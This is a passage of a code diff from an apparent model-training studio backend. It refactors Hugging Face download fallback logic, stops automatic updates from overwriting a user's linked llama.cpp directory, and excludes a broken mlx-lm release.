+already cached in ``sys.modules`` (via an eager ``unsloth_zoo`` import here) wins -- pinning the
+default 4.57.x and regressing Qwen3.5 / GLM-4.7 / gemma-4 training with
+``Tokenizer class TokenizersBackend does not exist``. So the shared backend is loaded **lazily**
+(``_load_shared``), only on first use of a heavy download helper, i.e. after the sidecar is active.
+``child_should_disable_xet`` and the ``DEFAULT_*`` constants are defined locally so importing them
+never triggers the heavy load.
 """
 
 from __future__ import annotations
 
-import multiprocessing as mp
-import os
-import queue
-import signal
-import sys
 import threading
-import time
 from typing import Any, Callable, Optional
 
-from loggers import get_logger
-
-logger = get_logger(__name__)
-
-_CTX = mp.get_context("spawn")
-
-# Defaults match the existing inference watchdog and hub shutdown deadline.
+# Defaults mirror unsloth_zoo.hf_xet_fallback; plain literals so they resolve (including as
+# default args below) without importing unsloth_zoo/transformers.
+DEFAULT_GRACE_PERIOD = 10.0
 DEFAULT_HEARTBEAT_INTERVAL = 30.0
 DEFAULT_STALL_TIMEOUT = 180.0
-DEFAULT_GRACE_PERIOD = 10.0
-_POLL_INTERVAL = 0.5
+
+# --- lazy shared-backend loader ----------------------------------------------------------------
+_shared: Any = None
+_shared_available: Optional[bool] = None  # None = not yet attempted
+_shared_import_error: Optional[BaseException] = None
+_load_lock = threading.Lock()
 
 
-class DownloadStallError(RuntimeError):
-    """Raised when no download progress is observed for too long.
+def _load_shared() -> bool:
+    """Import ``unsloth_zoo.hf_xet_fallback`` on demand; return True if available. Deferred so
+    importing this module at worker startup does not pull transformers in before the sidecar is
+    activated. Degrades (returns False) rather than crashing when unsloth_zoo is unavailable."""
+    global _shared, _shared_available, _shared_import_error
+    if _shared_available is not None:
+        return _shared_available
+    with _load_lock:
+        if _shared_available is not None:
+            return _shared_available
+        try:
+            import unsloth_zoo.hf_xet_fallback as shared
 
-    Canonical home; orchestrator.py re-imports it so all paths share one type.
-    """
+            _shared = shared
+            _shared_available = True
+            _shared_import_error = None
+            return True
+        except Exception as exc:  # noqa: BLE001 - any import failure must degrade, not crash
+            # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less
+            # host. The download helper needs none of it, so retry via UNSLOTH_ZOO_DISABLE_GPU_INIT.
+            _shared_import_error = exc
+            import os as _os
+
+            _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
+            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
+            try:
+                import unsloth_zoo.hf_xet_fallback as shared
+
+                _shared = shared
+                _shared_available = True
+                _shared_import_error = None
+                return True
+            except Exception as exc2:  # noqa: BLE001 - degrade so Studio still boots with plain HF
+                _shared_import_error = exc2
+                _shared_available = False
+                import logging as _logging
+
+                _logging.getLogger(__name__).warning(
+                    "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
+                    "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
+                    "re-enable automatic Xet -> HTTP download recovery.",
+                    _shared_import_error,
+                )
+                return False
+            finally:
+                if _prev_gpu_init is None:
+                    _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
+                else:
+                    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
 
 
 def child_should_disable_xet(config: dict) -> bool:
-    """Single source of truth for the per-worker Xet env flip."""
+    """Single source of truth for the per-worker Xet env flip (mirrors
+    ``unsloth_zoo.hf_xet_fallback.child_should_disable_xet``). Deliberately lightweight: importing or
+    calling it must NOT pull in unsloth_zoo/transformers, so the worker can decide before activating
+    the transformers sidecar (see the module docstring)."""
     return bool(config.get("disable_xet"))
 
 
-def get_hf_download_state(
-    repo_ids: Optional[list[str]] = None, *, repo_type: str = "model"
-) -> Optional[tuple[int, bool]]:
-    """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache.
-
-    Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete``
-    is not mistaken for full-size progress. ``None`` means the state could not be
-    measured, so callers skip stall logic for that tick.
-    """
-    try:
-        from hub.utils.hf_cache_state import (
-            blob_bytes_present,
-            has_active_incomplete_blobs,
-            hf_cache_root,
-            iter_active_repo_cache_dirs,
-        )
-
-        if hf_cache_root() is None:
-            return (0, False)
-
-        total = 0
-        has_incomplete = False
-        for repo_id in repo_ids or []:
-            # Skip local paths: HF IDs never start with / . ~ or contain "\".
-            if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id:
-                continue
-            for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
-                blobs_dir = entry / "blobs"
-                if not blobs_dir.is_dir():
-                    continue
-                for blob in blobs_dir.iterdir():
-                    try:
-                        if blob.is_file():
-                            total += blob_bytes_present(blob)
-                    except OSError:
-                        pass
-            if has_active_incomplete_blobs(repo_type, repo_id):
-                has_incomplete = True
-        return (total, has_incomplete)
-    except Exception as e:
-        logger.debug("Failed to determine HF download state: %s", e)
-        return None
+# --- degraded stubs (used only when unsloth_zoo is unavailable) -------------------------------
+class _DegradedDownloadStallError(RuntimeError):
+    """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
 
 
-def start_watchdog(
+def _degraded_get_hf_download_state(*args: Any, **kwargs: Any) -> None:
+    return None  # unmeasurable -> the (absent) watchdog never fires
+
+
+def _degraded_start_watchdog(
     *,
-    repo_ids: list[str],
-    on_stall: Callable[[str], None],
-    repo_type: str = "model",
+    on_heartbeat: "Optional[Callable[[str], None]]" = None,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
-    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     xet_disabled: bool = False,
-    on_heartbeat: Optional[Callable[[str], None]] = None,
-) -> threading.Event:
-    """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a
-    ``*.incomplete`` is present AND the on-disk size is unchanged for
-    *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so
-    post-download init is never misread as a stall. Returns a stop event the
-    caller sets when the download phase ends.
-    """
+    **kwargs: Any,
+) -> "threading.Event":
+    # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
+    # is not tripped during a long download.
     stop = threading.Event()
+    if on_heartbeat is None:
+        return stop
     transport = "https" if xet_disabled else "xet"
-    fired = False
 
     def _beat() -> None:
-        nonlocal fired
-        state = get_hf_download_state(repo_ids, repo_type = repo_type)
-        last_size = state[0] if state is not None else 0
-        last_change = time.monotonic()
-
         while not stop.wait(interval):
-            state = get_hf_download_state(repo_ids, repo_type = repo_type)
-            now = time.monotonic()
-
-            if state is None:
-                if on_heartbeat is not None:
-                    on_heartbeat(f"Downloading ({transport} transport)...")
-                continue
-
-            current_size, has_incomplete = state
-            if current_size != last_size:
-                last_size = current_size
-                last_change = now
-
-            # Reset unless .incomplete confirms an active download, so model init
-            # and lock waits are not counted as a stall.
-            if not has_incomplete:
-                last_change = now
-            elif now - last_change >= stall_timeout:
-                if not fired:
-                    fired = True
-                    on_stall(
-                        f"Download appears stalled ({transport} transport) "
-                        f"-- no progress for {int(now - last_change)}s"
-                    )
-                return
-
-            if on_heartbeat is not None:
+            try:
                 on_heartbeat(f"Downloading ({transport} transport)...")
+            except Exception:
+                pass
 
-    threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start()
+    threading.Thread(
+        target = _beat,
+        daemon = True,
+        name = "hf-xet-degraded-heartbeat",
+    ).start()
     return stop
 
 
-def _download_child_entry(
-    *,
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    repo_type: str,
-    disable_xet: bool,
-    result_queue: Any,
-    force_download: bool = False,
-) -> None:
-    """Spawn-child entrypoint: download one file and report the result.
-
-    Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub,
-    forms its own process group so the parent can kill the whole transfer, and
-    never logs the token or signed URLs.
-    """
-    # Die with Studio on Linux (this mp child gets no parent-set preexec_fn).
-    try:
-        from utils.process_lifetime import bind_current_process_to_parent_lifetime
-        bind_current_process_to_parent_lifetime()
-    except Exception:
-        pass
-
-    if hasattr(os, "setsid"):
-        try:
-            os.setsid()
-        except OSError:
-            pass
-
-    if disable_xet:
-        os.environ["HF_HUB_DISABLE_XET"] = "1"
-        # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse
-        # partials a sequential resume cannot safely continue).
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
-    os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
-
-    # Test-only fault injection (never set in production): stall the Xet attempt
-    # so the watchdog + HTTP fallback can be exercised against a real repo.
-    if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1":
-        import time as _t
-        try:
-            from huggingface_hub.constants import HF_HUB_CACHE
-
-            blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs")
-            os.makedirs(blobs, exist_ok = True)
-            with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh:
-                fh.write(b"\0" * 4096)
-        except OSError:
-            pass
-        while True:
-            _t.sleep(3600)
-
-    try:
-        from huggingface_hub import hf_hub_download
-        path = hf_hub_download(
-            repo_id = repo_id,
-            filename = filename,
-            repo_type = repo_type,
-            token = token,
-            force_download = force_download,
-        )
-        result_queue.put({"ok": True, "path": path})
-    except BaseException as e:  # noqa: BLE001 - report every failure to the parent
-        error = f"{type(e).__name__}: {e}"
-        try:
-            from hub.utils.download_registry import scrub_secrets
-            error = scrub_secrets(error, hf_token = token)
-        except Exception:
-            pass
-        result_queue.put({"ok": False, "error": error})
+def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
+    return cancel_event is not None and cancel_event.is_set()
 
 
-def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None:
-    """Kill *proc* and its whole process group (Xet may spawn helper procs).
-
-    The child calls ``os.setsid()`` so its pgid equals its pid; signal via
-    ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a
-    group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*.
-    """
-    pid = proc.pid
-
-    def _signal_group(sig: int) -> None:
-        if pid is not None and hasattr(os, "killpg"):
-            try:
-                os.killpg(pid, sig)
-                return
-            except (ProcessLookupError, PermissionError, OSError):
-                pass
-        # Windows or pre-setsid: best effort on the single process.
-        try:
-            proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill()
-        except Exception:
-            pass
-
-    _signal_group(getattr(signal, "SIGTERM", signal.SIGINT))
-    proc.join(timeout = grace_period)
-    if proc.is_alive():
-        _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM))
-        proc.join(timeout = 5.0)
-
-
-def _run_download_attempt(
+def _degraded_hf_hub_download_with_xet_fallback(
     repo_id: str,
     filename: str,
     token: Optional[str],
     *,
-    repo_type: str,
-    disable_xet: bool,
-    cancel_event: Optional[threading.Event],
-    stall_timeout: float,
-    interval: float,
-    grace_period: float,
-    on_status: Optional[Callable[[str], None]],
+    repo_type: str = "model",
+    revision: Optional[str] = None,
+    cache_dir: Optional[str] = None,
     force_download: bool = False,
-) -> tuple[str, Optional[str]]:
-    """Run one download in a spawn child supervised by the no-progress watchdog.
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    # Keep the cancellation contract: do not start or return a download once cancelled.
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
 
-    Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or
-    ``("error", message)``. This is the seam tests monkeypatch to avoid spawning.
-    """
-    result_queue: Any = _CTX.Queue()
-    proc = _CTX.Process(
-        target = _download_child_entry,
-        kwargs = dict(
-            repo_id = repo_id,
-            filename = filename,
-            token = token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            result_queue = result_queue,
-            force_download = force_download,
-        ),
-        daemon = True,
-    )
-    proc.start()
-    from utils.process_lifetime import adopt_pid
+    from huggingface_hub import hf_hub_download
 
-    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
-
-    stalled = threading.Event()
-    stop_watchdog = start_watchdog(
-        repo_ids = [repo_id],
-        on_stall = lambda msg: stalled.set(),
+    path = hf_hub_download(
+        repo_id = repo_id,
+        filename = filename,
+        token = token,
         repo_type = repo_type,
-        interval = interval,
-        stall_timeout = stall_timeout,
-        xet_disabled = disable_xet,
-        on_heartbeat = on_status,
+        revision = revision,
+        cache_dir = cache_dir,
+        force_download = force_download,
     )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
 
-    result: Optional[dict] = None
+
+def _degraded_snapshot_download_with_xet_fallback(
+    repo_id: str,
+    *,
+    revision: Optional[str] = None,
+    token: Optional[str] = None,
+    repo_type: str = "model",
+    cache_dir: Optional[str] = None,
+    allow_patterns: Optional[Any] = None,
+    ignore_patterns: Optional[Any] = None,
+    force_download: bool = False,
+    cancel_event: "Optional[threading.Event]" = None,
+    **_ignored: Any,
+) -> str:
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+
+    from huggingface_hub import snapshot_download
+
+    path = snapshot_download(
+        repo_id = repo_id,
+        repo_type = repo_type,
+        revision = revision,
+        token = token,
+        cache_dir = cache_dir,
+        allow_patterns = allow_patterns,
+        ignore_patterns = ignore_patterns,
+        force_download = force_download,
+    )
+    if _degraded_cancelled(cancel_event):
+        raise RuntimeError("Cancelled")
+    return path
+
+
+# --- lazy attribute access for the heavy shared API -------------------------------------------
+# ``DownloadStallError`` (class identity matters for ``except``), ``start_watchdog`` and
+# ``get_hf_download_state`` come from the shared backend when available, else the degraded stubs.
+# Resolved via PEP 562 ``__getattr__`` so ``from utils.hf_xet_fallback import X`` triggers the load
+# only for these heavy names, not for ``child_should_disable_xet`` / ``DEFAULT_*``.
+_DEGRADED_ATTRS = {
+    "DownloadStallError": _DegradedDownloadStallError,
+    "start_watchdog": _degraded_start_watchdog,
+    "get_hf_download_state": _degraded_get_hf_download_state,
+}
+
+# Annotation-only declarations for the three names above: they bind NO value, so lookup still misses
+# and PEP 562 ``__getattr__`` resolves them lazily -- but ruff/pyflakes see them as defined, so listing
+# them in ``__all__`` does not trip F822 (while F822 still catches a real typo elsewhere in the list).
+DownloadStallError: type
+start_watchdog: Any
+get_hf_download_state: Any
+
+
+def __getattr__(name: str) -> Any:
+    if name in _DEGRADED_ATTRS:
+        if _load_shared():
+            return getattr(_shared, name)
+        return _DEGRADED_ATTRS[name]
+    raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+
+
+# Indirection seam the public wrappers call (and tests monkeypatch): lazy-load the shared backend,
+# then dispatch to it or the degraded stub. The ``_shared_*`` names preserve the pre-refactor contract.
+def _shared_hf_hub_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.hf_hub_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_hf_hub_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
+
+
+def _shared_snapshot_download_with_xet_fallback(*args: Any, **kwargs: Any) -> str:
+    impl = (
+        _shared.snapshot_download_with_xet_fallback
+        if _load_shared()
+        else _degraded_snapshot_download_with_xet_fallback
+    )
+    return impl(*args, **kwargs)
+
+
+__all__ = [
+    "DEFAULT_GRACE_PERIOD",
+    "DEFAULT_HEARTBEAT_INTERVAL",
+    "DEFAULT_STALL_TIMEOUT",
+    "DownloadStallError",
+    "child_should_disable_xet",
+    "get_hf_download_state",
+    "start_watchdog",
+    "hf_hub_download_with_xet_fallback",
+    "snapshot_download_with_xet_fallback",
+]
+
+
+def _studio_prepare_for_http(repo_type: str, repo_id: str) -> None:
+    """Studio's marker-aware purge before an HTTP resume, keeping the download manager's ``.transport``
+    accounting consistent (vs unsloth_zoo's generic default). Guarded: a purge failure is logged,
+    not fatal to the retry."""
     try:
-        while proc.is_alive():
-            if cancel_event is not None and cancel_event.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("cancelled", None)
-            if stalled.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("stall", None)
-            try:
-                result = result_queue.get(timeout = _POLL_INTERVAL)
-                break
-            except queue.Empty:
-                continue
-        else:
-            # Process exited; drain any result it enqueued.
-            try:
-                result = result_queue.get_nowait()
-            except queue.Empty:
-                result = None
-    finally:
-        stop_watchdog.set()
-        proc.join(timeout = grace_period)
-
-    if result is None:
-        return (
-            "error",
-            f"download process for '{repo_id}/{filename}' exited "
-            f"(code={proc.exitcode}) without a result",
-        )
-    if result.get("ok"):
-        return ("ok", result["path"])
-    return ("error", result.get("error") or "unknown download error")
+        from hub.utils.download_registry import prepare_cache_for_transport
+        prepare_cache_for_transport(repo_type, repo_id, "http")
+    except Exception as exc:
+        try:
+            from loggers import get_logger
+            get_logger(__name__).debug(
+                "Studio prepare_cache_for_transport failed for %s: %s", repo_id, exc
+            )
+        except ModuleNotFoundError as logger_exc:
+            if logger_exc.name != "loggers":
+                raise
 
 
 def hf_hub_download_with_xet_fallback(
@@ -345,83 +287,32 @@ def hf_hub_download_with_xet_fallback(
     *,
     cancel_event: Optional[threading.Event] = None,
     repo_type: str = "model",
+    revision: Optional[str] = None,
     stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
     grace_period: float = DEFAULT_GRACE_PERIOD,
     on_status: Optional[Callable[[str], None]] = None,
     force_download: bool = False,
 ) -> str:
-    """Download a single file with Xet primary and HTTP as a stall-only fallback.
+    """Single-file download via the shared fallback with Studio's marker-aware HTTP-retry prep.
+    ``force_download`` re-fetches a newer blob over a cached one (Studio's model-update path)."""
+    return _shared_hf_hub_download_with_xet_fallback(
+        repo_id,
+        filename,
+        token,
+        cancel_event = cancel_event,
+        repo_type = repo_type,
+        revision = revision,
+        stall_timeout = stall_timeout,
+        interval = interval,
+        grace_period = grace_period,
+        on_status = on_status,
+        force_download = force_download,
+        prepare_for_http_fn = _studio_prepare_for_http,
+    )
 
-    Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
-    *cancel_event* is set, re-raises a deterministic child error unchanged (no
-    fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
 
-    When *force_download* is True the cache-first early-return is skipped and the
-    flag is threaded to ``hf_hub_download`` so a newer remote blob is re-fetched
-    even if an older blob is already cached.
-    """
-    # Finalized blob already cached: return it with no child and no network.
-    # Skipped when force_download is set so an update re-fetches a newer blob.
-    if not force_download:
-        try:
-            from huggingface_hub import try_to_load_from_cache
-            cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
-            if isinstance(cached, str) and os.path.exists(cached):
-                return cached
-        except Exception as e:
-            logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
-
-    if cancel_event is not None and cancel_event.is_set():
-        raise RuntimeError("Cancelled")
-
-    disable_xet = False
-    for attempt in range(2):
-        if disable_xet:
-            # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume
-            # over a sparse Xet/hf_transfer partial silently corrupts the blob.
-            try:
-                from hub.utils.download_registry import prepare_cache_for_transport
-                prepare_cache_for_transport(repo_type, repo_id, "http")
-            except Exception as e:
-                logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e)
-
-        kind, payload = _run_download_attempt(
-            repo_id,
-            filename,
-            token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            cancel_event = cancel_event,
-            stall_timeout = stall_timeout,
-            interval = interval,
-            grace_period = grace_period,
-            on_status = on_status,
-            force_download = force_download,
-        )
-
-        if kind == "ok":
-            return payload  # type: ignore[return-value]
-        if kind == "cancelled":
-            raise RuntimeError("Cancelled")
-        if kind == "error":
-            # Deterministic failure: the other transport would fail identically.
-            raise RuntimeError(payload)
-        # kind == "stall"
-        if attempt == 0 and not disable_xet:
-            logger.warning(
-                "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1",
-                repo_id,
-                filename,
-            )
-            if on_status is not None:
-                on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP")
-            disable_xet = True
-            continue
-        raise DownloadStallError(
-            f"Download stalled for '{repo_id}/{filename}' even with "
-            f"HF_HUB_DISABLE_XET=1 -- check your network connection"
-        )
-
-    # Unreachable: the loop either returns or raises on each attempt.
-    raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'")
+def snapshot_download_with_xet_fallback(repo_id: str, **kwargs: Any) -> str:
+    """Whole-repo download via the shared fallback with Studio's marker-aware HTTP-retry prep."""
+    kwargs.setdefault("prepare_for_http_fn", _studio_prepare_for_http)
+    return _shared_snapshot_download_with_xet_fallback(repo_id, **kwargs)
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 8648b053d5..f6d3635301 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
     }
 
 
+def _is_external_link(path: Optional[Path]) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, so Studio must never auto-update it."""
+    if path is None:
+        return False
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
+def _active_install_is_local_link(binary: Optional[str]) -> bool:
+    """True when the active llama-server resolves through a --with-llama-cpp-dir
+    local link at the canonical llama.cpp directory. An update would write
+    through that link into the user's own checkout (or fail), so the install is
+    treated as externally managed: no update is offered or applied. Checks only
+    up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root
+    above it can't trip a false positive."""
+    if not binary:
+        return False
+    for parent in Path(binary).parents:
+        if _is_external_link(parent):
+            return True
+        if parent.name == "llama.cpp":
+            break
+    return False
+
+
+def _local_link_status() -> dict:
+    """Status payload for a local-link install: unmanaged, no update offered."""
+    with _job_lock:
+        job = dict(_job)
+    return {
+        "supported": False,
+        "update_available": False,
+        "stale": False,
+        "installed_tag": None,
+        "latest_tag": None,
+        "published_repo": None,
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": False,
+        "local_link": True,
+        "update_size_bytes": None,
+        "job": job,
+    }
+
+
 def get_update_status(*, force_refresh: bool = False) -> dict:
     """Report whether a newer prebuilt exists plus the current job state.
 
     force_refresh bypasses the 24h release cache for an explicit "check now".
     """
     binary = _find_binary()
+    # A --with-llama-cpp-dir local link is the user's own tree; never offer to
+    # replace it. Bail before any network/freshness work.
+    if _active_install_is_local_link(binary):
+        return _local_link_status()
     marker = read_install_marker(binary)
 
     with _job_lock:
@@ -411,9 +473,18 @@ def _rocm_install_args(asset: Optional[str]) -> list[str]:
     return ["--has-rocm"]
 
 
-def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path) -> None:
+def _run_update(
+    install_dir: Path,
+    repo: str,
+    asset: Optional[str],
+    script: Path,
+    pin_release_tag: Optional[str] = None,
+) -> None:
     """Worker: put the backend into a maintenance state, run the installer for
-    the latest prebuilt, then refresh caches so the next load uses the new build."""
+    the latest prebuilt, then refresh caches so the next load uses the new build.
+
+    pin_release_tag pins the installer to that exact published release instead
+    of letting it re-resolve "latest" itself (see start_update for why)."""
     backend = None
     model_was_active = False
     try:
@@ -448,10 +519,18 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
             "--published-repo",
             repo,
         ]
+        if pin_release_tag:
+            cmd.extend(["--published-release-tag", pin_release_tag])
         cmd.extend(_rocm_install_args(asset))
         logger.info("llama update: installing", cmd = " ".join(cmd))
         # Stream progress lines into job["progress"].
         env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")
+        # Preserve a Vulkan install across updates: detect_host on a CUDA/ROCm
+        # box would otherwise re-route and silently replace the Vulkan build.
+        # Re-assert it via the same env flag setup uses (mirrors
+        # _rocm_install_args).
+        if asset and "vulkan" in asset.lower():
+            env["UNSLOTH_FORCE_VULKAN"] = "1"
         proc = subprocess.Popen(
             cmd,
             stdout = subprocess.PIPE,
@@ -501,6 +580,16 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
         new_marker = read_install_marker(_find_binary())
         new_tag = (new_marker or {}).get("release_tag") or (new_marker or {}).get("tag")
 
+        # Pinned install must land on that exact release; a same-repo mismatch
+        # means the pin was ignored (Vulkan/Intel reroute to another repo is fine).
+        if (
+            pin_release_tag
+            and new_tag
+            and (new_marker or {}).get("published_repo") == repo
+            and new_tag != pin_release_tag
+        ):
+            raise RuntimeError(f"pinned release {pin_release_tag} but installer produced {new_tag}")
+
         with _job_lock:
             _job.update(
                 state = _JOB_SUCCESS,
@@ -537,6 +626,19 @@ def start_update() -> dict:
     """Kick off a background update. Idempotent: a second call while one is
     running returns the in-flight job rather than starting another."""
     binary = _find_binary()
+    # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt
+    # here would write through the link into the user's own checkout (or fail)
+    # and silently drop the link the flag created.
+    if _active_install_is_local_link(binary):
+        return {
+            "started": False,
+            "reason": "local_link",
+            "message": (
+                "llama.cpp is a local directory linked with --with-llama-cpp-dir; "
+                "Studio won't replace it. Update your own llama.cpp checkout instead."
+            ),
+            "job": get_update_status()["job"],
+        }
     marker = read_install_marker(binary)
     script = _installer_script()
     if script is None:
@@ -569,6 +671,13 @@ def start_update() -> dict:
         repo = marker.get("published_repo") or DEFAULT_PUBLISHED_REPO
         from_tag = marker.get("tag") or marker.get("release_tag")
         asset = marker.get("asset")
+        # Install exactly the release the banner offered: the installer's own
+        # "latest" is commit-date ordered and can lag the published_at pick
+        # above, reinstalling the current build in a loop (the #6219 class).
+        # Not on macOS, which needs the older-release walk-back a pin disables
+        # (skipping too-new prebuilts); elsewhere an unusable latest now fails
+        # the job loudly (retryable) instead of walking back.
+        pin_release_tag = None if sys.platform == "darwin" else status.get("latest_tag")
     else:
         # Source build / custom path: only proceed when the same detection logic
         # would offer the update (prebuilt exists, install is behind, root is
@@ -596,6 +705,9 @@ def start_update() -> dict:
         repo = (res or {}).get("repo") or DEFAULT_PUBLISHED_REPO
         from_tag = None
         asset = (res or {}).get("asset")
+        # No pin: source-build detection resolves via --resolve-prebuilt latest,
+        # the same resolver the unpinned apply uses, so the two already agree.
+        pin_release_tag = None
 
     if install_dir is None:
         return {
@@ -623,7 +735,7 @@ def start_update() -> dict:
 
     thread = threading.Thread(
         target = _run_update,
-        args = (install_dir, repo, asset, script),
+        args = (install_dir, repo, asset, script, pin_release_tag),
         name = "llama-cpp-update",
         daemon = True,
     )
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 520c11c3b1..7e1c9864c9 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -45,9 +45,21 @@ DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
 # deps). mlx-vlm especially must be >=0.4.4: an older one still imports but
 # breaks VLM Train/Export, so installing it would wrongly clear chat-only.
 _MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"}
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so a self-heal must not pull it. mlx-lm #1242.
+_MLX_BAD_VERSIONS = {"mlx-lm": ("0.31.3",)}
 _MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)
 _MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")
-MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS.items())
+
+
+def _mlx_spec(name: str, version: str) -> str:
+    spec = f"{name}>={version}"
+    for bad in _MLX_BAD_VERSIONS.get(name, ()):
+        spec += f",!={bad}"
+    return spec
+
+
+MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items())
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
@@ -140,7 +152,12 @@ def _mlx_versions_satisfy_minimums() -> bool:
         return False
     for name, minimum in _MLX_MIN_VERSIONS.items():
         try:
-            if Version(_dist_version(name)) < Version(minimum):
+            installed = Version(_dist_version(name))
+            if installed < Version(minimum):
+                return False
+            # A known-broken build counts as unsatisfied so the self-heal
+            # reinstalls a good one; Version compare matches 0.31.3(.0/+local).
+            if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())):
                 return False
         except PackageNotFoundError:
             return False
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index 90e26d45d0..b6b080b1c4 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -248,7 +248,7 @@ def scan_checkpoints(
         # Sort by modification time (newest first)
         models.sort(key = lambda x: Path(x[1][0][1]).stat().st_mtime, reverse = True)
 
-        logger.info(f"Found {len(models)} training runs in {outputs_dir}")
+        logger.debug(f"Found {len(models)} training runs in {outputs_dir}")
         return models
 
     except Exception as e:
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 5d8458e5f0..284bbb5745 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -698,6 +698,25 @@ if backend_dir not in sys.path:
 try:
     from transformers import AutoConfig
 
+    # Union the ACTIVE sidecar's registry into the inlined parent-process sets
+    # so architectures only the sidecar knows still classify correctly.
+    try:
+        from transformers.models.auto import modeling_auto as _ma
